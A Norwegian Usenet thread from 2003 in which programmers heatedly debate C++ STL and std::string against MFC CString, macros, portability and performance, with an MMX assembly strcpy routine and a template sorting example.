>av bugs. Har du prøvd å porte STL noen gang ?
Du porterer ikke STL, det ER portert (ihvert fall idag)
(joda der finnes enkelte ekstremt smale "kjøleskap programmerings
C++subsets" hvor det ikke finnes streams, men generellt er STL portert
som en helhet da C++ standarden ikke gir rom for subsets og STL er
definert i C++ standarden derav kan en si at definisjonen av C++ er
language semantics + STL++)
>
>
>> Hvis du bruker en strenge klasse så skjønner ikke jeg hvordan du har
>> en som er bedre enn std::string, den skulle jeg GJERNE likt å se.
>
>MFC CString funker utmerket.
Nå kødder du vel, kjære vene si at du kødder nå da, vær så snill...
Selv når jeg er tvunget til å progge i MFC (Microsoft progger ikke
selv i MFC en gang) så bruker jeg ALL tilgjengelig energi på å prøve å
unngå CString og alle andre Cxxx klassene med mindre jeg må...
>
>
>> Og om du bruker en strenge klasse så faller all din tidligere
>> argumentasjon om hastighet på stengrunn...
>
>Nei, hvorfor det ?
std::string er hundre ganger kjappere, skalerbar, robust og intuitiv
enn CString!!
>
>
>> >Forøvrig er jo ditt eksempel helt på trynet - skal du gjøre noe så dumt som
>> >det der på steinaldervis så er det jo mye greiere å gjøre det slik :
>> >
>> > #define y "sdfouioh"
>> > char *x = "sdfoijh" y;
>>
>> sitat fra FAQ com.lang.c++: "Macros are evil, evil and evil..."
>
>Helt klart. Men det jeg her har foreslått er jo langt bedre og mer oversiktlig
>enn ditt råtne steinalderforslag...
...øhh...
Hva er bedre ved
#define y "asdfoijh";
...i forhold til...
char const * const y = "sdfoijh";
?!?
De implemeteres i praksis likt og kompileresned til samme kode
uansett, forskjellen er at du har en type i mitt eksempel og du har
scope og du risikerer ikke "allready defined" bugs/meldinger...
>
>
>> Og det gidder jeg ikke engang diskutere, macroer er lamme og trengs
>> nesten ALDRI og er en påtvunget etterlevning fra C.
>
>Til å ikke gidde å diskutere så diskuterer du jammen fælt...
Enig her også, klarer bare ikke å la være...
>
>Jeg er heller ikke begeistret for makroer. Mesteparten av behovet forsvant da
>vi fikk inline.
Der ville jeg lagt på "const" i tillegg...
>
>
>> I C++ derimot trenger en NESTEN ALDRI macroer og ihvertfall ikke i det
>> eksempelet du beskriver.
>
>Det var bare en optimalisering av din uoversiktlige, store og trege kode...
Hva var det som kjørte kjappere ved din kode?!?
[snip]
>> Joda litt enig, men "c-måten" min over er den raskeste...
>> (jeg har faktisk portert tilsvarende kode til x86 assembler uten å
>> klare å fjerne sykluser, og ingen andre jeg har snakket med klarer
>> heller å optimalisere strcpy ved hjelp av x86 maskin kode)
>
>Optimalisere strcpy() ? I VC er den jo implementert som en maskinkode-makro som
>utnytter x86-arkitekturen fullt ut. Hvorfor bruker folk tid på å optimalisere
>det optimale ?
Det var en del av mitt psosjekt for å lære meg RISC x86 maskin koding.
>
>
>> >Du har tenkt på at du skal porte applikasjonen din til kinesisk, men du er
>> >helt sikker på at alle brukerne av programvaren din sitter med like bra
>> >utstyr
>> >som det du gjør ? Det er en tåpelig antagelse, som dessverre er ganske
>> >utbredt
>> >blant middelmådige utviklere.
>>
>> Det er sant, men jeg vil heller skrive en god applikasjon som funker
>> på"the upper 95% of computers" enn å skrive en applikasjon som ikke
>> funker på NOEN systemer,
>
>Å skrive en applikasjon som ikke funker ? Er det et alternativ ?
Hvis en bruker konsepter som ikke skalerer og kan og vil bli en kilde
til bugs så vil ikke applikasjonen fungere...
Hva skjer hvis du må utvide sql'en DIN utover 333 karakterer?!?
Er du sikker på at du husket å utvide bufferen din tilsvarende?!?
>
>
>> >Det som går "fort nok" på din maskin går ikke nødvendigvis fort nok på andres
>> >maskiner. Og hva om koden din skal portes til en 80486-plattform ? Da kan
>> >man sitte og tenke på hvor fint det hadde vært med kinesisk språk mens man
>> >venter på at applikasjonen din skal bli ferdig med å starte...
>>
>> 486?!?
>> Å ta høyde for at applikasjonen min skal porteres til en 486 har jeg
>> ikke gjort, ikke skjønner jeg vitsen med det heller...
>
>Da har du et problem den dagen sjefen din kommer og spør om programmet ditt kan
>kjøres på en liten dings med lite minne, lite flash og billig prosessor...
Der er jeg enig, men fortsatt skjønner jeg ikke hvordan CString kan
hjelpe deg HER?!?
>
>"Nei, jeg må ha Pentium IV, 128 MB minne og et par GB disk." Og vips så har du
>kostet bedriften flere titalls millioner kroner, fordi de må bruke mange tusen
>pr enhet, i stedet for noen få hundrelapper...
MFC bruker typisk 15 sekunder på å starte på min Pentium 4 2.0 GHz med
1/5 gigabyte RAMBUS minne...
Lurer på hvordan det ville blitt hvis en skulle starte MFC (CString
ble nevnt her lengere oppe) på en Palm Pilot med 2 MB flash minne...
;)
[snip]
>> 2. Han har en skikkelig cheesy viruskiller som scanner alt av
>> instruksjoner og kjører i et "sandbox environment".
>
>Nei, han kjører uten antivirus.
...Ohhh....
>
>
>> 3. Han har en Pentium Pro CPU eller kanskje en PII prosessor som kan
>> kjøpes for renteavkastningene av en dags innsats som tomflaske
>> innsamler på finnmarks vidda.
>
>Han har endel Pentium II 350 MHz, men serveren er en PIV 2GHz og den er ikke
>nevneverdig raskere...
[flisespikkeri]
Pentium II 350 MHz FINNES ikke!!
Det finnes en på 330 MHz
[/flisespikkeri]
Det vil jeg påstå er en ræva PC.
Jeg har faktisk en slik hjemme og det er nå ca ** 2 år ** siden jeg
GAV den bort til min datter som nå snart er 6 år.
Jeg tipper du får kjøpt en slik i dag (de kom på markedet tidlig i
1998) for ca. 500 kroner (bare PC'en, ikke skjerm ol...)
Det at et regnskapsbyrå oppdaterer økonomisystemet sitt uten å
oppdatere PC'er som er 5 år gamle vil jeg definere som et
sykdomstegn...
[snip]
>> >Nå vet ikke jeg om de har utviklet Visma i C++, men i alle fall spiller det
>> >ikke
>> >så stor rolle for kunden om de har brukt STL og bare "optimalisert SQL"...
>>
>> Fortsatt ser jeg ikke relevansen opp i mot STL
>
>Relevansen er ikke mot STL, relevansen er opp mot din tankegang. De som
>utvikler hos Visma kan bruke nøyaktig samme argumentasjon som du for å bevise at
>systemet deres er "raskt nok"...
Tja ha?!?
[snipped enig stuff]
>> Jeg velger å bruke STL der det ikke degraderer ytelsen merkbart
>> (hvilke vil si stort sett overalt) fordi det er porterbart, enkelt,
>> forståelig, og ikke minst STANDARDISERT!
>
>Dette er gode argumenter for å bruke STL, men når du påstår at det er enkelt og
>forståelig drar du den litt vel langt...
>
>Og hva gjør du den dagen du skal utvikle for en plattform der det ikke finnes
>fungerende STL ?
Da finnes det per definisjon ikke noe fungerende C++ på den
plattformen da STL er en del av C++ standarden!!
Dette kan vi godt argumentere fram og tilbake om, men slik ER det
PUNKTUM!!
Hva skjer hvis en skal portere til en plattform hvor det ikke finnes
exception handling?!?
Dette er f.eks. tilfelle for en god del håndholdte enheter sitt API!
(...kjære gud ikke la han svare at han IKKE bruker exceptions nå
da...)
Dette kan en dra til sin ytterste konsekvens ved å spørre om hva en
skal gjøre hvis en skal portere til en plattform som ikke støtter ++
operator, hverken post- eller prefix, skal en da la være å incremente
variabler ved hjelp av f.eks. "++X;"?!?
Faktum er at en av de største bakdelene ved C++ i forhold til C er
klasser og spesielt polymorfisme (les.VFP), constructors og
destructors.
Noe som du spesifikt har benevnt som en av argumentene for at du
progger i C++ og ikke i C!
Templates er en av de få avanserte konseptene i C++ som GARANTERT ikke
bringer inn noe runtime overhead (Standard TEMPLATE Library)
>
>
>> Snakket ikke du om memory overhead her indirekte en vending også...
>> Vet du hva overheaden av å "dra inn sprintf" funksjonene er?
>> Den er STØRRE en å dra med stringstream...
>
>Nei, der tar du feil igjen. Se her :
[snipped bevis for at jeg bæsja på leggen]
>exe-fil: 81920 byte (min greie)
>exe-fil: 28672 byte (Sigurds greie)
Okay, litt stor i kjeften der, tenkte ikke over at du måtte f.eks ha
med startup code ol. når du bringer med streams da de kan kaste
exceptions...
Men du har ihvertfall dratt med en fil for mye i #include'en din,
strstream ble mere eller mindre fjernet standarden for 10 år siden...
<sstream> hadde holdt LENGE!!!
>
>==========
>
>> Men joda den eksekveres sannsynligvis kjappere på bekostning av
>> størrelsen på process imagen, på bekostning av skalerbarhet etc...
>
>Se over...
>
>
>> >...som både er lettere å lese OG langt mer effektivt enn det derre
>> >streams-rotet ditt...
>> Jeg mener å erindre (korriger meg hvis jeg tar feil) at du ved en
>> tidligere post siterte Donald Knuth på at "Premature Optimalization is
>> the root of all evil"
>
>Du tar feil, jeg har ikke sitert ham.
Mente jeg krangla med mere eller mindre alle her på gruppa om hvorvidt
det utsagnet holdt mål i dag for ca et år siden...
>
>
>> er det ikke litt prematurt å tenke
>> optimalisering ved første gangs implementasjon?!?
>
>Når det er en vane å skrive effektiv og lettlest kode så er den
>problemstillingen uaktuell...
>
>
>> Men nå har jeg seriøst ikke tid til mere fjatt om hva som er best av C
>> og C++
>
>Det foreligger ikke noen diskusjon om det temaet.
>
>
>> jeg mener og ikke ti ville hester vil få meg til å skifte
>> mening at du skriver "C with classes" kode og ikke er i nærheten av å
>> utnytte mulighetene som ligger i C++ som et multi idiome language...
>
>Nok en gang arrogante uttrykk for forutinntatte meninger om hva jeg gjør.
Vel du kan IKKE benytte iterators på strenge klassen din (som forøvrig
ikke er kjappere enn min), du kan ikke benytte andre ting enn char *
som implementasjon av stringe klassen din (jeg kan ha en streng av
vectorer hvis jeg vil), du kan ikke benytte custom allocaters på
strenge klassen din (jeg kan til og med hvis jeg vil benytte en custom
implementert Garbage Collector) og du kan heller ikke kommunisere med
andres biblioteker spesielt bra selv om du måtte øsnke da mange vil
benytte std::string som standard strenge implementasjon...
I tillegg vil du måtte linke inn både din porterte CString klasse OG
std::string klassen (istedenfor en string klasse) ved linkin mot
eksterne biblioteker...
>
>
>> Cowboy Koding kaller jeg det, og det er ofte en kilde til bugs som en
>> enkelt kan unngå, vitner om lite bred horisont og en C måte å tenke
>> C++ på...
>
>Snakk for deg selv. Jeg kjenner mange utviklere, og INGEN av dem skriver så få
>feil som det jeg gjør.
Sikkert riktig, samme her...
Men tipper at jeg kan ta et av mine EKSISTERENDE systemer og legge TIL
funksjonalitet kjappere enn det du kan med en av dine...
>
>
>> Når alt kommer til stykket benytter jeg faktisk XSLT, Java,
>> JavaScript, C#, SQL ol hovedsaklig og kun C++ der hvor det er påkrevd
>> pga hastighet ol.
>> Grunnen til dette er at jeg i f.eks. XSLT (som selvfølgelig er VELDIG
>> mye tregere enn C++) kan skrive ekstremt mye mere fleksibel, porterbar
>> og skalerbar kode som eksekveres "kjapt nok"...
>
>Det forklarer hvorfor du ikke vet så mye om hva man kan få til med C++ uten STL,
>men det forklarer IKKE hvorfor du er arrogant nok til å tro at du vet alt...
Jeg kan ikke alt, men det er et faktum (selv i Redmond) at CString og
MFC STINKER!!!
>
>
>Sigurd
Sigurd Stenersen
> On Fri, 11 Apr 2003 13:27:06 +0200, there came a drop of sanity from
> "Sigurd Stenersen" <sig...@utvikling.com> containing:
> >"Thomas Hansen" <thomas.hansenNOSP...@adramatch.com> skrev
> >> On Fri, 11 Apr 2003 10:25:38 +0200, there came a drop of sanity from
> >> "Sigurd Stenersen" <sig...@utvikling.com> containing:
> >
> >for C++. At de også finnes i standardbiblioteket for C har lite med saken å
> >gjøre.
>
> Det er likevel definert som dårlig bruk av C++...
Hvor finner du denne "definisjonen" ?
> Både av meg, hele Standardization Commitee og Bjarne Stroustrup m.
> venner...
HVIS det skulle være tilfelle at disse har *definert* dette som dårlig bruk av
C++ så er det likevel ikke så voldsomt interessant. Hva byråkrater og
paragrafryttere mener er som regel ikke det...
> >> >> >Hva er galt med å ha bra ytelse ? Skal man lage tregere programvare
> >> >> >bare for å gjøre det ?
> >> >>
> >> >> Nei men man kan lage robuste og skalerbare applikasjoner uten å
> >> >> benytte mere tid enn det som er nødvendig...
> >> >
> >> >Det kan man uten å bruke STL også...
> >>
> >> Det kan man ikke
> >
> >Jo, det kan man. At DU ikke kan det er ditt problem...
>
> Nei det kan man ikke (foreslår vi stopper den her... ;)
KJØTTHUE !
> Lag en generisk funksjon som reagerer på inneholdet av en iterator
> slik at den vil fungere selv om klassen som det itereres på er
> std::string, std::vector, std::list eller std::iostream...
Hvorfor i helevete skulle jeg lage det ? Jeg bruker jo ikke noen av de
klassene...
> Det har jeg ikke bare gjort mange ganger men gjør det også stort sett
> hver gang jeg koder C++.
Det sier mer om deg enn det sier om C++. Kom med en reell problemstilling som
skal
løses, ikke disse teoretiske programmere-for-å-programmere-oppgavene...
> >> men en
> >> kan jo nevne portering som et mulig dilemma...
> >
> >Jeg tror nok at jeg har mer erfaring med porting enn det du har. Blant annet
> >har jeg portet store deler av MFC til QNX fordi STL-greiene til Watcom var
> >fulle av bugs. Har du prøvd å porte STL noen gang ?
>
> Du porterer ikke STL, det ER portert (ihvert fall idag)
Det VAR portet. Men det var så buggy at det var UBRUKELIG.
> (joda der finnes enkelte ekstremt smale "kjøleskap programmerings
> C++subsets" hvor det ikke finnes streams, men generellt er STL portert
> som en helhet da C++ standarden ikke gir rom for subsets og STL er
> definert i C++ standarden derav kan en si at definisjonen av C++ er
> language semantics + STL++)
Tull. Språket C++ er innebygd i kompilatoren. Bibliotekene er beskrevet i
standarden for bibliotek, og tas i bruk ved at man inkluderer filer og linker
med filer. Språk og bibliotek er to forskjellige ting, ikke én sammenhengende
suppe som du og dine likesinnede hevder. At standarden beskriver både språk og
bibliotek betyr ikke at bibliotek == språk.
> >> Hvis du bruker en strenge klasse så skjønner ikke jeg hvordan du har
> >> en som er bedre enn std::string, den skulle jeg GJERNE likt å se.
> >
> >MFC CString funker utmerket.
>
> Nå kødder du vel, kjære vene si at du kødder nå da, vær så snill...
Nei, CString fungerer utmerket.
> Selv når jeg er tvunget til å progge i MFC (Microsoft progger ikke
> selv i MFC en gang) så bruker jeg ALL tilgjengelig energi på å prøve å
> unngå CString og alle andre Cxxx klassene med mindre jeg må...
Du kaster bort tiden, med andre ord. Det sier jo litt...
> >> Og om du bruker en strenge klasse så faller all din tidligere
> >> argumentasjon om hastighet på stengrunn...
> >
> >Nei, hvorfor det ?
> std::string er hundre ganger kjappere, skalerbar, robust og intuitiv
> enn CString!!
Tullprat.
> >> sitat fra FAQ com.lang.c++: "Macros are evil, evil and evil..."
> >
> >Helt klart. Men det jeg her har foreslått er jo langt bedre og mer
> >oversiktlig enn ditt råtne steinalderforslag...
> ...øhh...
> Hva er bedre ved
> #define y "asdfoijh";
> ...i forhold til...
> char const * const y = "sdfoijh";
> ?!?
> De implemeteres i praksis likt og kompileresned til samme kode
> uansett, forskjellen er at du har en type i mitt eksempel og du har
> scope og du risikerer ikke "allready defined" bugs/meldinger...
Ser du ikke at mine to linjer gjør samme jobben som dine ørten linjer ? Ser du
ikke at mine to linjer bare fører til en eneste tilordning, mens dine ørten
genererer et lass med kode ?
Er du blind ?
> >Det var bare en optimalisering av din uoversiktlige, store og trege kode...
>
> Hva var det som kjørte kjappere ved din kode?!?
Alt. En tilordning går alltid langt kjappere en mange tilordninger og andre
unødvendige instruksjoner...
> >Å skrive en applikasjon som ikke funker ? Er det et alternativ ?
>
> Hvis en bruker konsepter som ikke skalerer og kan og vil bli en kilde
> til bugs så vil ikke applikasjonen fungere...
Men du fortsetter jo å snakke om hva DU ville gjort uten STL. Her er det snakk
om hva JEG gjør uten STL kontra hva DU gjør med STL...
> Hva skjer hvis du må utvide sql'en DIN utover 333 karakterer?!?
> Er du sikker på at du husket å utvide bufferen din tilsvarende?!?
Selvfølgelig ville jeg husket det. Skjønt i praksis ville jeg nok brukt en
CString til dette. Koden ville blitt like enkel, og overheaden akseptabel.
> MFC bruker typisk 15 sekunder på å starte på min Pentium 4 2.0 GHz med
> 1/5 gigabyte RAMBUS minne...
MFC bruker 15 sekunder på å starte ? For noe sludder. Feilen ligger nok i
gjett hvem sin kode...
> Lurer på hvordan det ville blitt hvis en skulle starte MFC (CString
> ble nevnt her lengere oppe) på en Palm Pilot med 2 MB flash minne...
> ;)
Jeg portet som sagt store deler av MFC til QNX. Vi brukte en enhet som hadde
486-prosessor, 8 MB RAM og 4 MB flash. Der hadde vi plass til email-klient,
browser, smarthusløsning og videotelefon for å nevne noe. Hovedårsaken til at
vi hadde plass til så mye var det klassebiblioteket jeg lagde, og det inkluderte
portede MFC-klasser. Blant annet template-baserte collections, CString og
selvfølgelig et hav av andre nyttige tillegg.
> >> 2. Han har en skikkelig cheesy viruskiller som scanner alt av
> >> instruksjoner og kjører i et "sandbox environment".
> >
> >Nei, han kjører uten antivirus.
> ...Ohhh....
Det er ikke så risky - hans nett er totalt avsondret fra omverdenen og rutinene
for behandling av disketter etc er temmelig strenge.
> >Han har endel Pentium II 350 MHz, men serveren er en PIV 2GHz og den er ikke
> >nevneverdig raskere...
> [flisespikkeri]
> Pentium II 350 MHz FINNES ikke!!
> Det finnes en på 330 MHz
> [/flisespikkeri]
Godt mulig, men det ble ihvertfall SOLGT en god del PII-350. Så flisespikkingen
kan du ta med markedsavdelingen et eller annet sted...
> Det vil jeg påstå er en ræva PC.
De gjør jobben. At Visma går sakte er ikke forårsaket av utstyret. Det er
lusne programmerere som jobber på alt for bra utstyr som er årsaken. De med
samme holdning til utstyrets alder som du har...
> Jeg har faktisk en slik hjemme og det er nå ca ** 2 år ** siden jeg
> GAV den bort til min datter som nå snart er 6 år.
> Jeg tipper du får kjøpt en slik i dag (de kom på markedet tidlig i
> 1998) for ca. 500 kroner (bare PC'en, ikke skjerm ol...)
> Det at et regnskapsbyrå oppdaterer økonomisystemet sitt uten å
> oppdatere PC'er som er 5 år gamle vil jeg definere som et
> sykdomstegn...
Det at man skal måtte bytte ut relativt kraftige maskiner etter få år er et
sykdomstegn. Og i dette tilfellet er det heller ikke der problemet ligger.
Men du mener vel at folk bør ha det siste av utstyr for at boblesorteringen din
skal gå fort nok ?
> >> Jeg velger å bruke STL der det ikke degraderer ytelsen merkbart
> >> (hvilke vil si stort sett overalt) fordi det er porterbart, enkelt,
> >> forståelig, og ikke minst STANDARDISERT!
> >
> >Dette er gode argumenter for å bruke STL, men når du påstår at det er enkelt
> >og forståelig drar du den litt vel langt...
> >
> >Og hva gjør du den dagen du skal utvikle for en plattform der det ikke finnes
> >fungerende STL ?
>
> Da finnes det per definisjon ikke noe fungerende C++ på den
> plattformen da STL er en del av C++ standarden!!
Det hjelper pokker så lite den dagen du står der med en fungerende kompilator og
en STL som ikke fungerer. Og språket C++ fungerer uavhengig av om du har et
fungerende bibliotek eller ei...
> Dette kan vi godt argumentere fram og tilbake om, men slik ER det
> PUNKTUM!!
Sikkert. Det er nok akkurat det en oppdragsgiver ønsker å få høre når de skal
ha noe til å fungere innenfor bestemte rammer.
> Hva skjer hvis en skal portere til en plattform hvor det ikke finnes
> exception handling?!?
> Dette er f.eks. tilfelle for en god del håndholdte enheter sitt API!
Det sier seg vel selv at man i et slikt tilfelle må skrive om de delene av koden
som er basert på exception handling. Det kan være en voldsom jobb hvis det er
mange feilsituasjoner...
> (...kjære gud ikke la han svare at han IKKE bruker exceptions nå
> da...)
Selvfølgelig bruker jeg det.
> Dette kan en dra til sin ytterste konsekvens ved å spørre om hva en
> skal gjøre hvis en skal portere til en plattform som ikke støtter ++
> operator, hverken post- eller prefix, skal en da la være å incremente
> variabler ved hjelp av f.eks. "++X;"?!?
Tåpelig og urealistisk problemstilling. Men det er klart, det er bugs i
kompilatorer også, så om kompilatoren gjør en bestemt ting feil så må man ta
hensyn til det. I stedet for å sitte der, som du åpenbart ville, og jamre over
at det ikke finnes C++ for den aktuelle plattformen.
> Faktum er at en av de største bakdelene ved C++ i forhold til C er
> klasser og spesielt polymorfisme (les.VFP), constructors og
> destructors.
> Noe som du spesifikt har benevnt som en av argumentene for at du
> progger i C++ og ikke i C!
Tull. Dette er store *fordeler* med C++. At det blir elefantkode ut av det når
amatørene skriver klasser har lite med saken å gjøre.
> Templates er en av de få avanserte konseptene i C++ som GARANTERT ikke
> bringer inn noe runtime overhead (Standard TEMPLATE Library)
Templates har en tendens til å øke kodestørrelsen, og det er en form for
runtime overhead.
Men den er som regel akseptabel, jeg bruker endel templates.
> >> Snakket ikke du om memory overhead her indirekte en vending også...
> >> Vet du hva overheaden av å "dra inn sprintf" funksjonene er?
> >> Den er STØRRE en å dra med stringstream...
> >
> >Nei, der tar du feil igjen. Se her :
> [snipped bevis for at jeg bæsja på leggen]
> >exe-fil: 81920 byte (min greie)
> >exe-fil: 28672 byte (Sigurds greie)
>
> Okay, litt stor i kjeften der, tenkte ikke over at du måtte f.eks ha
> med startup code ol. når du bringer med streams da de kan kaste
> exceptions...
Jeg brukte samme options for begge kompileringene, så jeg tror ikke det der er
et relevant moment...
> Men du har ihvertfall dratt med en fil for mye i #include'en din,
> strstream ble mere eller mindre fjernet standarden for 10 år siden...
> <sstream> hadde holdt LENGE!!!
Det illustrerer bare hvor dårlig dokumentasjonen på STL er. Og kodestørrelsen
er identisk etter at den unødvendige fila er fjernet.
> Vel du kan IKKE benytte iterators på strenge klassen din
Jeg ønsker ikke å bruke en iterator. Hvorfor skulle jeg det - det holder i
massevis med operator []...
> (som forøvrig ikke er kjappere enn min)
Who cares ? Begge fungerer, skjønt std::string har et par alvorlige mangler...
> du kan ikke benytte andre ting enn char *
> som implementasjon av stringe klassen din
Det er feil. Det er TCHAR som brukes...
> (jeg kan ha en streng av
> vectorer hvis jeg vil)
Hva i all verden skal man med slikt tull ?
> du kan ikke benytte custom allocaters på
> strenge klassen din (jeg kan til og med hvis jeg vil benytte en custom
> implementert Garbage Collector)
So what ? Har aldri hatt bruk for slikt tull...
> og du kan heller ikke kommunisere med
> andres biblioteker spesielt bra selv om du måtte øsnke da mange vil
> benytte std::string som standard strenge implementasjon...
Det er riktig, men bare når man må forholde seg til kode utviklet av folk med
samme arroganse som du. Det eneste fornuftige er å bruke const char * i disse
grensesnittene fordi det ikke tvinger noen til å bruke noe som helst. Men du og
dine likesinnede driter i det og tvinger deres syn igjennom...
> I tillegg vil du måtte linke inn både din porterte CString klasse OG
> std::string klassen (istedenfor en string klasse) ved linkin mot
> eksterne biblioteker...
Det er et tåpelig argument. Det samme vil jo gjelde deg hvis biblioteksflyten
snur og meningsarrogansen er den samme på begge sider...
> >> Cowboy Koding kaller jeg det, og det er ofte en kilde til bugs som en
> >> enkelt kan unngå, vitner om lite bred horisont og en C måte å tenke
> >> C++ på...
> >
> >Snakk for deg selv. Jeg kjenner mange utviklere, og INGEN av dem skriver så
> >få feil som det jeg gjør.
>
> Sikkert riktig, samme her...
>
> Men tipper at jeg kan ta et av mine EKSISTERENDE systemer og legge TIL
> funksjonalitet kjappere enn det du kan med en av dine...
Enda mer arroganse. Skaff funding, så skal jeg slå deg ned i støvlene både når
det gjelder design, implementering, vedlikehold, bugs, ytelse, tidsforbruk og
videreutvikling i forbindelse med en hvilken som helst praktisk problemstilling.
> >> Når alt kommer til stykket benytter jeg faktisk XSLT, Java,
> >> JavaScript, C#, SQL ol hovedsaklig og kun C++ der hvor det er påkrevd
> >> pga hastighet ol.
> >> Grunnen til dette er at jeg i f.eks. XSLT (som selvfølgelig er VELDIG
> >> mye tregere enn C++) kan skrive ekstremt mye mere fleksibel, porterbar
> >> og skalerbar kode som eksekveres "kjapt nok"...
> >
> >Det forklarer hvorfor du ikke vet så mye om hva man kan få til med C++ uten
> >STL, men det forklarer IKKE hvorfor du er arrogant nok til å tro at du vet
> >alt...
>
> Jeg kan ikke alt, men det er et faktum (selv i Redmond) at CString og
> MFC STINKER!!!
CString og MFC er produktivitetsøkende og fungerer utmerket. Det er jo mildt
sagt litt pussig at du og andre som ikke bruker dette vet så mye om det, mens
jeg som bruker det hele tiden åpenbart ikke vet noe som helst...
Skjønt jeg begynner å ane et mønster - du har stort sett ikke egne meninger, du
bare repeterer det du har hørt andre lire av seg...
Sigurd
Terje Kvernes
[ ... ]
> [flisespikkeri]
> Pentium II 350 MHz FINNES ikke!!
> Det finnes en på 330 MHz
> [/flisespikkeri]
$ egrep "MHz|name" /proc/cpuinfo
model name : Pentium II (Deschutes)
cpu MHz : 350.801
model name : Pentium II (Deschutes)
cpu MHz : 350.801
[ ... ]
--
Terje
Torjei Kvinen
message
> (jeg har faktisk portert tilsvarende kode til x86 assembler uten å
> klare å fjerne sykluser, og ingen andre jeg har snakket med klarer
> heller å optimalisere strcpy ved hjelp av x86 maskin kode)
På en PIII er denne ca dobbelt så rask som strcpy. Med P4 og Hammer kan
hastigheten økes/dobles ytterligere med å bruke 128 bits XMM registrene.
FastStrCopy PROC ; FastStrCopy PROC StdCall Dest: DWORD, Source: DWORD
Source equ [ESP+10h]
Dest equ [ESP+0Ch]
nRemove = 08h
PUSH ESI
PUSH EDI
MOV ESI, Source
MOV EDI, Dest
MOV ECX, ESI
AND ECX, 00000007h
JZ @Aligned
SUB ECX, 00000008h
SUB ESI, ECX
SUB EDI, ECX
@UnalignMove:
MOV AL, [ESI+ECX]
MOV [EDI+ECX], AL
OR AL, AL
JZ @End
INC ECX
JNZ @UnalignMove
@Aligned:
PXOR MM2, MM2
XOR EDX, EDX
JMP @AlignMove2
@AlignMove:
MOVQ [EDI+EDX], MM1
ADD EDX, 08h
@AlignMove2:
MOVQ MM0, [ESI+EDX]
MOVQ MM1, MM0
PCMPEQB MM0, MM2
PMOVMSKB EAX, MM0
OR EAX, EAX
JZ @AlignMove
EMMS
ADD ESI, EDX
ADD EDI, EDX
BSF ECX, EAX
INC ECX
REP MOVSB
@End:
POP EDI
POP ESI
RET nRemove
FastStrCopy ENDP
--
Regards
Torjei Kvinen
Thomas Hansen
"Torjei Kvinen" <torjei@hahaha_bluezone.no> containing:
>"Thomas Hansen" <thomas.hansenNOSP...@adramatch.com> wrote in
>message
>
>> (jeg har faktisk portert tilsvarende kode til x86 assembler uten å
>> klare å fjerne sykluser, og ingen andre jeg har snakket med klarer
>> heller å optimalisere strcpy ved hjelp av x86 maskin kode)
>
>
>På en PIII er denne ca dobbelt så rask som strcpy. Med P4 og Hammer kan
>hastigheten økes/dobles ytterligere med å bruke 128 bits XMM registrene.
Nifty!
Jeg må tydeligvis brushe opp litt på CISC'en min...
Men dette var i PII tider...
[snip]
Thomas Hansen
On Fri, 11 Apr 2003 17:47:39 +0200, there came a drop of sanity from
"Sigurd Stenersen" <sig...@utvikling.com> containing:
[snip]
>> Lag en generisk funksjon som reagerer på inneholdet av en iterator
>> slik at den vil fungere selv om klassen som det itereres på er
>> std::string, std::vector, std::list eller std::iostream...
>
>Hvorfor i helevete skulle jeg lage det ? Jeg bruker jo ikke noen av de
>klassene...
Du kan gjenbruke den ene funksjonenslik at den kan f.eks.sortere en
vector, den kan sortere inneholdet i en streng, den kan sortere ordene
i en fil...
Det som er greia er at du ofte ikke vet alle plassene hvor du trenger
en slik funksjon før lenge etter at du har laget den...
>
>
>> Det har jeg ikke bare gjort mange ganger men gjør det også stort sett
>> hver gang jeg koder C++.
>
>Det sier mer om deg enn det sier om C++. Kom med en reell problemstilling som
>skal
>løses, ikke disse teoretiske programmere-for-å-programmere-oppgavene...
#include <string>
#include <vector>
#include <algorithm>
#include <iostream>
// This function isn't too intelligent in its present form but it
might have been doing all sorts of weird things
// e.g. scanning for "national security word e.g. 'bin' or 'laden'"
etc...
// It could have (with help from partial template specialization have
been doing formatting on the content of the iterators) e.g. ToUppers
// It could have parsed them to human speech etc...
// The point is that it is a GENERIC function reacting on ITERATORS
which is a cool thing that std::string has and CString doesn't have...
// std::string also have access to a number of nifty functions through
e.g. the algorithm header and also access to a number of nifty
// things that OTHER people have written that takes std::iterators and
works generic...
template<class T>
void foo( T::iterator begin,
T::iterator end )
{
std::sort(begin, end);
}
// Helper function for displaying output of vector...
std::ostream & operator << ( std::ostream & str, const
std::vector<std::string> & vec )
{
using namespace std;
typedef vector<string>::const_iterator c_iter;
c_iter idx = vec.begin();
while( idx != vec.end() )
str << (*idx++) << endl;
return str;
}
// Helper function for displaying output of wchar_t string...
// Mark!
// it comes out crappy in the console since it (windows console)
doesn't support wchar_t...
std::ostream & operator << ( std::ostream & str, const
std::basic_string<wchar_t> & wstr )
{
using namespace std;
typedef basic_string<wchar_t>::const_iterator c_iter;
c_iter idx = wstr.begin();
while( idx != wstr.end() )
str << (*idx++) << endl;
return str;
}
int main(int argc, char* argv[])
{
using namespace std;
int x = 1;
while( x )
{
// String sort...
string myString="qwertyuiopasdfghjklzxcvbnm";
cout << "String:" << endl << "Original string: " <<
myString << endl;
foo<string>( myString.begin(), myString.end() );
cout << "Sorted string: " << myString << endl << endl;
// Vector sort...
vector<string> myVector;
myVector.push_back("per");
myVector.push_back("ole");
myVector.push_back("guri");
myVector.push_back("kari");
myVector.push_back("jens");
cout << "Vector:" << endl << "Original vector: " <<
endl << myVector << endl;
foo<vector<string> >( myVector.begin(), myVector.end()
);
cout << "Sorted vector: " << endl << myVector << endl
<< endl;
// String X sort
basic_string<wchar_t> myStringX;
myStringX += L"øåæ";
cout << "basic_string<wchar_t>:" << endl << "Original
basic_string<wchar_t>: " << endl << myStringX << endl;
foo<basic_string<wchar_t> >( myStringX.begin(),
myStringX.end() );
cout << "Sorted basic_string<wchar_t>: " << endl <<
myStringX << endl << endl;
// Mark!
// One little detail is that while I can with
std::string use BOTH wchar_t and char in the same compilation module
// you are locked to ONE of them since you are using
TCHAR which is an XOR function of "char" and "wchar_t"...
// (TCHAR is either char or wchar_t...)
// Also if I wrote my own template container class
containing e.g. "bitmaps" I could put that one as well through the
foo()
// function as long as it conformed to the
"RandomAccessIterators" contract...
// Wanna continue
cout << "See again?!? (write any nonzero value)";
cin >> x;
}
return 0;
}
>
>
>> >> men en
>> >> kan jo nevne portering som et mulig dilemma...
>> >
>> >Jeg tror nok at jeg har mer erfaring med porting enn det du har. Blant annet
>> >har jeg portet store deler av MFC til QNX fordi STL-greiene til Watcom var
>> >fulle av bugs. Har du prøvd å porte STL noen gang ?
>>
